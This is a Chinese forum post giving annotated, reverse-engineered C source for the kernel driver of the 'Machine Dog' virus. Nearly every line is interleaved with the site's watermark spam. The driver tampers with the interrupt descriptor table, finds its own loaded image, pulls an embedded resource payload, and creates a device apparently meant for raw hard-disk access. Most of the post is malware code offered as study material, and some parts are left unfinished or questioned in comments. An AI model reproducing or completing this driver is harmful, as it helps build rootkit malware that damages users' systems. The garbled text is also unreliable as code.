“机器狗”病毒驱动部分逆向分析注释(C代码)
*/
- o/ ~- A- z7 T, C Z7 e- s我爱电脑技术社区--打造最好的电脑技术自学交流平台#include <ntddk.h> // various NT definitions www.520diannao.com( M! u0 J% O& H5 t" T# F9 z
我爱电脑技术社区--打造最好的电脑技术自学交流平台0 A4 V3 R7 i. K! F4 Z9 k' b3 p
#define IOCTL_MYDEV_BASE 0xF000 我爱电脑技术论坛" D+ h: u _" u' m! D
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
4 P @8 j; {0 O! Y3 u1 \www.520diannao.com
# a( c1 V0 N0 R5 j# l3 c# ?我爱电脑技术社区--打造最好的电脑技术自学交流平台#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0" 我爱电脑技术论坛) r; r: V; Z# W3 w, f+ P
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
; j4 g( X0 T# ?* \' N打造最好的电脑自学交流论坛#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"
4 c1 P/ f4 C2 m1 F- ~& F) xwww.520diannao.com1 ^; q/ G( u \! x
PDEVICE_OBJECT g_DR0_DeviceObject;
7 ^& H, B# D. j# A* J$ j我爱电脑技术论坛PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
+ Y( t) n8 u4 g E+ h! g* w我爱电脑技术社区--打造最好的电脑技术自学交流平台VOID* g_ResData;
& O' a+ i; A, p* X7 S, y8 C: qSIZE_T g_ResDataSize; 打造最好的电脑自学交流论坛; p3 N1 n, G5 G r5 N
/ ^4 Y+ n* ]3 R: V3 e我爱电脑技术社区--打造最好的电脑技术自学交流平台typedef struct _idtr + }: x$ E# G; ^8 _9 c f$ u8 l1 i
{ www.520diannao.com) u+ h2 j5 o. [
//定义中断描述符表的限制,长度两字节;
T- ^ }% ~/ C# h4 w8 w+ G电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 short IDTLimit;
3 i* \! R$ p1 _" i电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 //定义中断描述服表的基址,长度四字节;
( ]7 j- _+ c7 w9 e1 s+ | unsigned int IDTBase;
4 [: E" I! _( ~" g打造最好的电脑自学交流论坛}IDTR,*PIDTR; / A0 p5 }5 p8 ^$ {
/ G/ c/ n8 C! n3 i. {打造最好的电脑自学交流论坛typedef struct _idtentry
- i$ a9 g# C% N( e9 b- {2 @{ www.520diannao.com3 s6 v5 |6 A( Q! J6 |$ X
//中断执行代码偏移量的底16位;
$ E; k( A$ O$ \ unsigned short OffsetLow;
Y+ _7 M2 q7 N8 _6 a我爱电脑技术论坛 //选择器,也就是寄存器;
- L7 z7 B0 G/ ^. E5 F* U: y- Z打造最好的电脑自学交流论坛 unsigned short Selector;
8 a5 B a9 _- M2 g" [我爱电脑技术社区--打造最好的电脑技术自学交流平台 //保留位,始终为零;
+ N* a4 i+ `4 \6 w0 N. D我爱电脑技术论坛 unsigned char Reserved;
% O: `$ |. O( O, i$ d* x& z //IDT中的门的类型:包括中断门,陷阱门和任务门;
0 c1 {( @, c4 r1 P打造最好的电脑自学交流论坛 unsigned char Type:4; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站: y7 \! Y2 _0 ] f7 x) ^" U7 w
//段标识位;
$ n: P% [' ?! a ~" _打造最好的电脑自学交流论坛 unsigned char SegmentFlag:1;
# j/ m- Z8 X! j9 ^打造最好的电脑自学交流论坛 //中断门的权限等级,0表示内核级,3表示用户级;
9 f$ p0 D( {2 U7 x3 g$ m4 Q我爱电脑技术社区--打造最好的电脑技术自学交流平台 unsigned char DPL:2; . z# M! T% ]1 g4 J/ K& a) u0 Q: B
//呈现标志位;
! L# h/ D" q1 O# f8 z+ y% N我爱电脑技术论坛 unsigned char Present:1; www.520diannao.com6 R7 V% g0 o6 v! I1 c
//中断执行代码偏移量的高16位; . T; E! D/ Z) R3 t, C b
unsigned short OffsetHigh;
2 n% D9 s7 ?+ m" W* Q% B) O O我爱电脑技术论坛}IDTENTRY,*PIDTENTRY;
. o: k& D* @- ~8 M# c: H# o我爱电脑技术社区--打造最好的电脑技术自学交流平台& K. R; b: Q% O0 T4 @( W! x% |; Z% c
#define HOOKINTID_09 9 //NPX Segment Overrun 我爱电脑技术社区--打造最好的电脑技术自学交流平台0 k2 O; w8 P; U
#define HOOKINTID_0E 0x0E //Page Fault
$ g; V' o) k A j! bwww.520diannao.com& ?) p1 O+ }) D, O
VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站! X* P% h7 D; Q' a2 N; e, l1 {
{ 打造最好的电脑自学交流论坛- G9 n5 S/ p2 G4 e1 b
int INT_09_Address_High8;
, K* V0 B7 W" J* g$ v: Z打造最好的电脑自学交流论坛 int INT_0E_Address_High8;
/ k t7 {& q; J$ Z+ I unsigned long OldISR_09; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站( z2 m4 r* L) B7 m7 `' u
unsigned long OldISR_0E;
6 ]7 }$ _+ ?5 A0 B1 ]3 v3 {( ?% M我爱电脑技术社区--打造最好的电脑技术自学交流平台我爱电脑技术论坛% n+ W1 j0 x6 F8 t0 r
//保存IDT入口的基地址和限制信息的数据结构;
- Q& D. X4 d) u; S* h' c e我爱电脑技术社区--打造最好的电脑技术自学交流平台 IDTR idtr;//store interrupt descript table register. to idtr 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站6 M* K( }+ f0 f. ]' V
我爱电脑技术论坛6 \) k4 }$ h0 Z* r/ g- P' {2 b6 T
//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
i# p$ t4 t+ T! F' b+ p' Z* ~打造最好的电脑自学交流论坛 PIDTENTRY IdtEntry;
d3 W4 \, C! k! w! h! q0 i% Iwww.520diannao.com我爱电脑技术社区--打造最好的电脑技术自学交流平台5 ~/ F. t! x+ J! U' q
//汇编指令sidt,获取IDT入口信息; 我爱电脑技术论坛7 I* P' s0 B7 ]: y* V/ P
__asm sidt idtr
% b1 u! D+ L* t我爱电脑技术论坛
, `9 e& W: w, N+ j3 J6 V$ h我爱电脑技术社区--打造最好的电脑技术自学交流平台 //赋予IDT基地址值;
y7 w" p) `' T打造最好的电脑自学交流论坛 IdtEntry = (PIDTENTRY)idtr.IDTBase;
' M- p+ ]" H5 i! y$ ~3 S我爱电脑技术论坛
4 }7 W% [- ~9 Gwww.520diannao.com //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用 我爱电脑技术论坛& l; g/ w6 ~& o0 F7 K; V) L
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);
3 I) R6 N1 ^1 E# M3 I9 N8 a0 P9 z9 x" T
7 i- }6 l+ ~( |+ @3 D+ ^. [( N INT_09_Address_High8 = OldISR_09&0x0FF000000;
/ S) j s# w& S. B9 @8 h# H7 L电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
% n- X9 ~$ i$ n: A, n. `www.520diannao.com /*
9 `, F$ l1 ?4 w. hwww.520diannao.com 这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
( S5 `( V' L6 K我爱电脑技术社区--打造最好的电脑技术自学交流平台 有知道的大侠告诉我dream2fly(QQ:838468959) 我爱电脑技术社区--打造最好的电脑技术自学交流平台: G1 U1 h- N9 ~2 N' w
sub eax, eax 我爱电脑技术社区--打造最好的电脑技术自学交流平台4 q6 ^4 z0 ~$ s- \% R: `
jz short FunctionExit
. k& K( k% p. ?6 i: o打造最好的电脑自学交流论坛 难道是?
9 H* u% F6 f4 V8 I; V$ E; K/ K2 K打造最好的电脑自学交流论坛 if (INT_09_Address_High8 == 0)
& t" j6 x- b" S' U& [$ H, ?我爱电脑技术社区--打造最好的电脑技术自学交流平台 return;
+ ~. a& N7 d, D" owww.520diannao.com */
S l8 P* X" K- V& R/ v打造最好的电脑自学交流论坛2 `( x- o. N1 q* N% h
//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
. V$ A1 J4 ?" \' S( e4 k! [! ~电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow); www.520diannao.com8 U; g$ |) |: H i
www.520diannao.com4 s1 B" }9 e+ L, H
INT_0E_Address_High8 = OldISR_0E&0x0FF000000;
5 o$ g# {: o. D6 e6 E' X/ p n我爱电脑技术论坛打造最好的电脑自学交流论坛2 ]/ f* _4 w5 y# M/ p
if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
& Z, R! d, A6 t9 F( K# H我爱电脑技术论坛 { 打造最好的电脑自学交流论坛! w- ?# }2 O J4 k {, @8 |
//关中断 我爱电脑技术论坛9 U( S- K: ?% N! c
__asm cli 打造最好的电脑自学交流论坛( Q4 N" v" Y4 d
' y5 A0 J; o5 ^6 `5 ?打造最好的电脑自学交流论坛 IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd? 我爱电脑技术社区--打造最好的电脑技术自学交流平台' I2 O6 v3 t1 Y2 ?0 D6 S: t
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 J) \$ d9 n& S$ d5 g
//开中断
' \0 A) A# W7 A我爱电脑技术社区--打造最好的电脑技术自学交流平台 __asm sti
& M5 l" R) c) f, r4 n& ]我爱电脑技术论坛 } 我爱电脑技术社区--打造最好的电脑技术自学交流平台" }0 c5 ?0 c6 y9 }" ?
} 我爱电脑技术社区--打造最好的电脑技术自学交流平台7 s" U, A. `, X4 S7 Y( R6 G
* g H+ A2 B( K2 R( o/* 打造最好的电脑自学交流论坛: u* K8 ~- g# U2 m- w3 Y; R( q
通过搜索地址来查找自己的加载地址
6 F5 e) H& n! ?电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
1 P* M6 j$ r9 M1 s0 X( d/ t7 m. Dwww.520diannao.com*/ 打造最好的电脑自学交流论坛& N0 `- @0 k' E. ^2 g- X* v! v4 l+ X \
VOID* SearchSelf()
O3 I; _6 w, E4 q我爱电脑技术论坛{ ' F) y) e9 o- C9 c
VOID* pSelfImage = NULL;
! K; a4 c3 l# c1 \我爱电脑技术社区--打造最好的电脑技术自学交流平台 VOID* pCurAddr = NULL; 我爱电脑技术论坛" V5 J( v2 o9 n! c" H0 o6 L
VOID* pTmpAddr = NULL;
& ?& c' E* [ p% ]( Bwww.520diannao.com电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站2 s, ^( P- c' E7 V0 g3 x8 \/ g& t
// loc_40045F:这个取当前地址用C怎么写?
4 m: y( `0 n5 Q% `7 ]7 C- P! owww.520diannao.com//028 lea ebx, loc_40045F
) D& @% `# }) t+ v我爱电脑技术社区--打造最好的电脑技术自学交流平台//028 and ebx, 0FFFFFC00h
& Q. I- P' V. _4 \) U' j# @9 R8 b' N- N电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站我爱电脑技术社区--打造最好的电脑技术自学交流平台2 K* D* O! @9 d3 q! N
//pSelfImage如何取?
* o d. V ^' z, ^# ~: z我爱电脑技术论坛打造最好的电脑自学交流论坛6 J# e8 n# p: Z
while(MmIsAddressValid(pSelfImage))
/ G1 [) |: T( ^1 g% a: xwww.520diannao.com {
# u" o7 @% k$ G; n电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 if ((unsigned long)pSelfImage <= 0x80000000) 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站9 E# L3 R6 a! A
return NULL;
; r* \. _ f4 q5 {打造最好的电脑自学交流论坛
+ C' p" Q1 E" [2 ]* {1 @; v if (RtlEqualMemory(pSelfImage, "MZ", 2)) / P- Z$ \' }0 _+ `: E# x; l$ F' v
{ www.520diannao.com" I: t9 O$ B$ u$ k3 o C
pCurAddr = pSelfImage; www.520diannao.com4 w: ~. j6 e/ x: q# {& ~; ]# v
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C); 打造最好的电脑自学交流论坛& z: p9 z: |3 T9 i5 [: J
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);
$ g6 @5 a: G! N2 K* J/ Twww.520diannao.com打造最好的电脑自学交流论坛$ C8 t: n5 s! c
if (!MmIsAddressValid(pCurAddr))
" v! v, i8 I% t& |% ]5 c& g; Y我爱电脑技术社区--打造最好的电脑技术自学交流平台 return NULL; , M) c2 x' |" r5 u0 ?8 i. h
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站3 F8 }$ @1 a: G7 s1 Q
if (RtlEqualMemory(pCurAddr, "PE", 2))
2 r' `, E. h6 i0 L4 E$ {: b我爱电脑技术论坛 return pSelfImage;
% h: c5 z( o, e0 \* } I电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 } www.520diannao.com& c8 x, ?0 s9 D- l' M3 Z
) y$ U% k3 p0 x: s1 n" W: ?
(unsigned long)pSelfImage -= 0x400;//-1024K " D( [. \+ a1 e& E% a
} www.520diannao.com4 c6 a% d7 v: ~* ^7 i# d) [, x b
3 S. {: J6 r1 p) ~& W* n$ S我爱电脑技术论坛 return NULL; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站" V: y1 k; K- `5 P+ j
}
9 [; Z5 h$ \7 m, X* ^# k% o
$ J! [, A8 \, r' aSIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
8 V9 u* v- L; a# C# P4 E4 O打造最好的电脑自学交流论坛{
& A- W4 m6 K. f9 g! ~/ O我爱电脑技术论坛 // 有空再补上:)
' j( d& Y1 W0 R6 k+ B& D' A) mwww.520diannao.com
, o. i4 M6 G% S2 a, W- N我爱电脑技术论坛 return 0; 打造最好的电脑自学交流论坛; Q, E+ z `6 g( ~6 J. V
}
; C! i% { h+ j打造最好的电脑自学交流论坛// 打造最好的电脑自学交流论坛" m7 w! h G! i
// Device driver routine declarations. 我爱电脑技术社区--打造最好的电脑技术自学交流平台1 r3 {! U" {6 ]/ }5 ~. g
//
7 \9 P+ \- z9 m电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
& }7 M. I- T' R电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站NTSTATUS
! y5 \% y9 n' a9 K$ C- y* c% n. d3 j我爱电脑技术论坛DriverEntry(
1 Q/ d& e. E7 g我爱电脑技术社区--打造最好的电脑技术自学交流平台 IN OUT PDRIVER_OBJECT DriverObject,
) N3 H+ [" J( ^. T& s/ R7 Gwww.520diannao.com IN PUNICODE_STRING RegistryPath
+ |/ }3 m/ f5 _www.520diannao.com ); 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站/ S$ U( J# @, E# C8 j2 K2 _
- n( \* F9 j a0 l6 B Z# {打造最好的电脑自学交流论坛NTSTATUS 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站' s$ f/ B1 v3 }) m2 U2 |
CommonDispatch(
4 ^' d& b/ y2 J) T) d( Vwww.520diannao.com IN PDEVICE_OBJECT DeviceObject,
! l1 @+ `, V8 |+ |0 u4 C9 w! H我爱电脑技术社区--打造最好的电脑技术自学交流平台 IN PIRP Irp
+ X8 } F! g3 F$ `6 e, D3 k% R我爱电脑技术社区--打造最好的电脑技术自学交流平台 ); 打造最好的电脑自学交流论坛2 I( e' i6 a- E9 I
0 s( Z9 k9 X* @7 T4 G我爱电脑技术社区--打造最好的电脑技术自学交流平台VOID * B6 U, H) D- S9 }1 j8 a1 `0 w
Unload(
/ I5 m' j- Q2 B! E. P. c' @ IN PDRIVER_OBJECT DriverObject
. c9 | D, }+ q0 J* { );
/ r1 d5 W7 u0 r我爱电脑技术论坛我爱电脑技术论坛9 Q3 K3 x: r6 O. X
NTSTATUS 5 R T/ @8 a5 N3 P3 t5 e- H5 r
DriverEntry(
4 U! B0 ]5 Q$ M& A2 l- C0 g我爱电脑技术论坛 IN OUT PDRIVER_OBJECT DriverObject, " L% e/ o$ T+ e. b5 L0 R
IN PUNICODE_STRING RegistryPath 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站' |; J/ M F% v. H6 g* K
)
9 P) _' t( A; F1 J我爱电脑技术论坛{ 6 a W7 ?6 V- n. f K
NTSTATUS ntStatus; 我爱电脑技术社区--打造最好的电脑技术自学交流平台, A2 e0 w& N8 B" [% ]+ c
CHAR* pResData = NULL;
: c+ u7 s0 J. h7 P我爱电脑技术论坛 ANSI_STRING SourceString; 我爱电脑技术社区--打造最好的电脑技术自学交流平台6 l* m3 _+ o1 q, t5 q
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object www.520diannao.com9 g8 { J- [8 Z% {; b3 l/ K& a5 J
UNICODE_STRING SymbolicLinkName; - T) j) `% I* z* n6 u
UNICODE_STRING DeviceName;
8 ?" A- v3 {! z! d, z C+ \电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 VOID* pSelfImage;
, a" u! W# q0 o1 ^0 P& M我爱电脑技术社区--打造最好的电脑技术自学交流平台 PDEVICE_OBJECT cur_device_object;
; g9 [. g% ~# _0 E% Dwww.520diannao.com PDEVICE_OBJECT next_device_object; 我爱电脑技术社区--打造最好的电脑技术自学交流平台8 p- O) M: ]' m' Z4 G
www.520diannao.com7 ~; F: s" z/ h
CheckIdt(); 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站6 }: a" w6 n5 y. O4 D z, V
7 P/ T7 Z8 `$ R0 N% k& v4 D我爱电脑技术社区--打造最好的电脑技术自学交流平台 pSelfImage = SearchSelf(); www.520diannao.com7 z! `( y% _3 k: l
if (pSelfImage == NULL)
4 K# } @2 @5 ~ N$ [ return -1; 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站, \; ~( g0 r$ n' D$ K
www.520diannao.com3 V0 V* x* }1 M2 a6 m4 |4 b
g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
0 S$ w0 V: ^( x6 cwww.520diannao.com if (g_ResDataSize == 0)
( p1 [) ]% Z+ V3 @+ j+ N电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 {
; o5 N- N: v" ^) L: r: \* D我爱电脑技术社区--打造最好的电脑技术自学交流平台 return -1; 打造最好的电脑自学交流论坛; V% U ]/ C2 [
} 我爱电脑技术论坛2 G7 `6 L: g: N0 {5 x. H4 c0 T" p9 ~
; D! w1 E- q) m, Z9 i- c1 O1 M g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
' k( n0 ], O/ J. J* J) j打造最好的电脑自学交流论坛 // 跳转到下条指令,延时 jmp short $Content$2 6 s1 z' F' _: Q- N$ r+ l
打造最好的电脑自学交流论坛2 M- ~, c7 a% S$ Q2 Q& H
RtlCopyMemory(g_ResData, pResData, g_ResDataSize);
# F, Q0 v: p* b+ O打造最好的电脑自学交流论坛
+ s8 }5 m% E8 w- j# {5 U" \电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 DriverObject->DriverUnload = Unload; ( N3 D) [7 V+ L, T
DriverObject->MajorFunction[IRP_MJ_CREATE] =
) t8 y B2 p7 b; T我爱电脑技术社区--打造最好的电脑技术自学交流平台 DriverObject->MajorFunction[IRP_MJ_CLOSE] =
0 B; G0 U6 H/ y+ O7 iwww.520diannao.com DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch; www.520diannao.com" `+ D, z) i* H% R, @
; L, G9 T. b' m& L7 G! W X打造最好的电脑自学交流论坛 // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
& M0 K. v- O7 v Zwww.520diannao.com RtlInitAnsiString(&SourceString, NT_DEVICE_NAME); * \( D3 J+ ~& O
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE); 我爱电脑技术社区--打造最好的电脑技术自学交流平台" o: \8 e5 y* i7 Y# H* x
" |3 E* e2 l2 G! z
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME); 我爱电脑技术论坛 Z3 i( g5 q3 b. x
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); 我爱电脑技术论坛. F0 u; P' w; ^# v3 O5 t! O
% R: D% B5 t0 f# i! v$ PntStatus = IoCreateDevice( 我爱电脑技术社区--打造最好的电脑技术自学交流平台6 ] \. s0 }, u3 [5 K5 b" T2 _
DriverObject, // Our Driver Object * U; O9 Y. @, I2 B
0, // We don’t use a device extension 我爱电脑技术论坛- k3 W d1 m- [8 I" P& M
&DeviceName, & b( Y7 F- d2 f
FILE_DEVICE_NULL, // Device type
z$ d, T8 m5 G# s 0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
: C3 X. e/ E9 T9 ^打造最好的电脑自学交流论坛 FALSE, // Not an exclusive device www.520diannao.com+ Z$ D/ u9 F8 x, U0 }$ V
&DeviceObject ); // Returned ptr to Device Object 我爱电脑技术论坛% e* s8 o# j w- d
" D9 x& }/ k5 @. P' ~电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 if ( !NT_SUCCESS( ntStatus ) ) 我爱电脑技术论坛# `; Y* a5 Q5 u( i3 [# K0 @, M/ o
{
( b2 |' S% C' ~0 h: o6 U& a2 Y! [+ dwww.520diannao.com goto End;
( d% w& [" Z) p9 ?0 ?8 w& _www.520diannao.com } 打造最好的电脑自学交流论坛, \9 W5 w8 G& S k6 ~
3 V3 K A+ K1 G3 n1 ?打造最好的电脑自学交流论坛 ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName ); www.520diannao.com5 e1 f- K% V4 k% v: d8 X7 `% `
3 d; L% f* d, ]& v2 s& W( H2 w! h v我爱电脑技术论坛 if ( !NT_SUCCESS( ntStatus ) )
/ H' j+ _6 a) V' B# b {
8 a } e1 t+ q) ]1 {3 g1 N电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 cur_device_object = DriverObject->DeviceObject;
( {5 ?) D9 P) H" N. q; j1 P我爱电脑技术论坛
5 X" R- i! H; {) H! Q+ W我爱电脑技术社区--打造最好的电脑技术自学交流平台 while (cur_device_object)
7 M, o9 a& j, z6 R; v% o+ S9 l5 ~ { www.520diannao.com4 d8 h8 p2 l& A. g4 D8 ^8 G( B- x) V' b
next_device_object = DeviceObject->NextDevice;
& H$ l4 m. ~0 E6 k IoDeleteDevice(cur_device_object); 打造最好的电脑自学交流论坛9 S1 S* o& D4 t& C; y
cur_device_object = next_device_object;
# d2 Z2 H0 B; t$ g4 ?我爱电脑技术社区--打造最好的电脑技术自学交流平台 }
1 l$ x1 g: }0 { z4 k! _5 T电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 }
2 W6 R. t& O$ I% k! h( Y# D8 F8 g我爱电脑技术论坛7 R) V5 r: [+ S P2 M! a# P3 o: Z
End: 我爱电脑技术论坛4 e+ C s" J; j0 V
RtlFreeUnicodeString(&DeviceName); 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站- @7 N! L- a7 i1 W
RtlFreeUnicodeString(&SymbolicLinkName);
, U8 t: W. u6 T6 h! [/ Bwww.520diannao.com打造最好的电脑自学交流论坛6 l2 ^# Q2 }! M8 b- t' \9 u' u7 P
return STATUS_SUCCESS; 8 J: S6 I5 v8 u/ T
}
& q2 @) J4 S! R7 Pwww.520diannao.comwww.520diannao.com: z R$ d f$ S$ F$ K
VOID
8 C' n4 e0 {" U8 B6 F我爱电脑技术论坛Unload( www.520diannao.com7 }* K8 F; W+ ~* j, c8 v
IN PDRIVER_OBJECT DriverObject 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站9 T% }/ T7 q# ?1 H
) 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站: ~ I2 y$ w# l* j' N+ _" C
{
& h' X7 T( U" Z' }7 m打造最好的电脑自学交流论坛 ANSI_STRING SourceString;
1 e$ {) ? b5 u( {电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
! i" `! J% K2 kwww.520diannao.com UNICODE_STRING SymbolicLinkName;
: A+ M4 j; E( v9 E/ x PDEVICE_OBJECT cur_device_object; 我爱电脑技术论坛. ^% p- \ v3 T4 I, @
PDEVICE_OBJECT next_device_object; 打造最好的电脑自学交流论坛+ v6 W9 z" W3 s" Y. L
. A1 p$ @+ y5 I T6 N _# \6 _www.520diannao.com if (g_ResData) 打造最好的电脑自学交流论坛) C# m3 [2 e* v
{ 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 f1 b: f0 h2 D2 L# f+ U% K
ExFreePool(g_ResData); 打造最好的电脑自学交流论坛, t- P" [$ r- a* ~0 n) k' g8 H
} www.520diannao.com( F+ o! C! a& O7 j7 j3 G
5 J& C" u( H) D+ P. V/ U0 m我爱电脑技术论坛 if (DriverObject) 打造最好的电脑自学交流论坛: m( y, ^$ O, V4 x/ ^9 m' O* u1 n
{ www.520diannao.com7 G& |3 z* B1 l! t0 Y! B
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
; \( V! T" P& B* e3 t" N1 F# H我爱电脑技术论坛 RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); 1 ?2 t8 y# s6 }- g9 |& G
) K+ @5 K, z4 E+ M% T+ Qwww.520diannao.com IoDeleteSymbolicLink(&SymbolicLinkName);
9 c/ w. Z- E7 z0 Z& l我爱电脑技术论坛 RtlFreeUnicodeString(&SymbolicLinkName); 我爱电脑技术论坛; e, f! m# t3 j3 I3 D6 I w
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站7 B' s6 [' r0 o) i; ^. `
cur_device_object = DriverObject->DeviceObject; 我爱电脑技术社区--打造最好的电脑技术自学交流平台# e4 |1 d. T) x J: t: L
0 K9 i9 |* M6 r while (cur_device_object)
6 B& \2 B1 W7 J打造最好的电脑自学交流论坛 {
) M' p1 G1 A6 f电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 next_device_object = DeviceObject->NextDevice; www.520diannao.com+ \. N7 a' R* j, [& F0 u( j
IoDeleteDevice(cur_device_object);
6 A; J7 T; O( b7 G5 s我爱电脑技术社区--打造最好的电脑技术自学交流平台 cur_device_object = next_device_object; 打造最好的电脑自学交流论坛6 m# [1 V0 W/ e1 Q7 E' a
} , S/ j9 i, U4 N
} 打造最好的电脑自学交流论坛: _! |2 r$ S2 Z: Z" K
}
8 D) A$ ~ K; {) ~. u Y
) Z& N* L+ r. @# {7 G& E" a5 u电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站NTSTATUS 打造最好的电脑自学交流论坛/ g* `+ }) V0 N# q3 _# c
CommonDispatch( 打造最好的电脑自学交流论坛7 [2 ^8 ^$ }7 e u
IN PDEVICE_OBJECT DeviceObject, 我爱电脑技术社区--打造最好的电脑技术自学交流平台7 T; `0 _3 y" n( }
IN PIRP Irp
+ T T+ A4 o$ c; O; Y% F# K( B打造最好的电脑自学交流论坛 )
# K& X6 k7 \+ G/ _, B# ~( @电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站{
4 Y7 b- U5 J; c+ r$ fwww.520diannao.com PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
+ D+ {3 U, y& ^( ~: u# p& a; \ PFILE_OBJECT DRO_FileObject;
" l; m5 V: T' D$ q* ^我爱电脑技术社区--打造最好的电脑技术自学交流平台 ANSI_STRING SourceString;
8 J& U0 v4 l9 a1 W5 U; E8 ~ UNICODE_STRING DRO_DeviceName; 我爱电脑技术论坛) t) U n8 Y$ F( C5 o/ T
- [& f4 C; z( a; v4 ]/ Z1 P8 Z
PIO_STACK_LOCATION irpSp;// Pointer to current stack location 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站, n: T9 ~. U U+ _; v
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
: x" m- ^2 \: ] ULONG inBufLength; // Input buffer length 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站1 ], m% Z4 l) Q7 }- J( E
ULONG outBufLength; // Output buffer length www.520diannao.com, ^" L# m, s) F. B: I
2 ~3 O8 {8 ^, f( ]! v电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 Irp->IoStatus.Status = STATUS_SUCCESS; 打造最好的电脑自学交流论坛; H: j* R, R. W
Irp->IoStatus.Information = 0;
0 k7 h0 P, g& u5 owww.520diannao.com
6 M& r# A. G. b* D, A$ |电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 irpSp = IoGetCurrentIrpStackLocation( Irp );
( W+ E/ R m1 t1 E2 T6 T8 ]( B电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
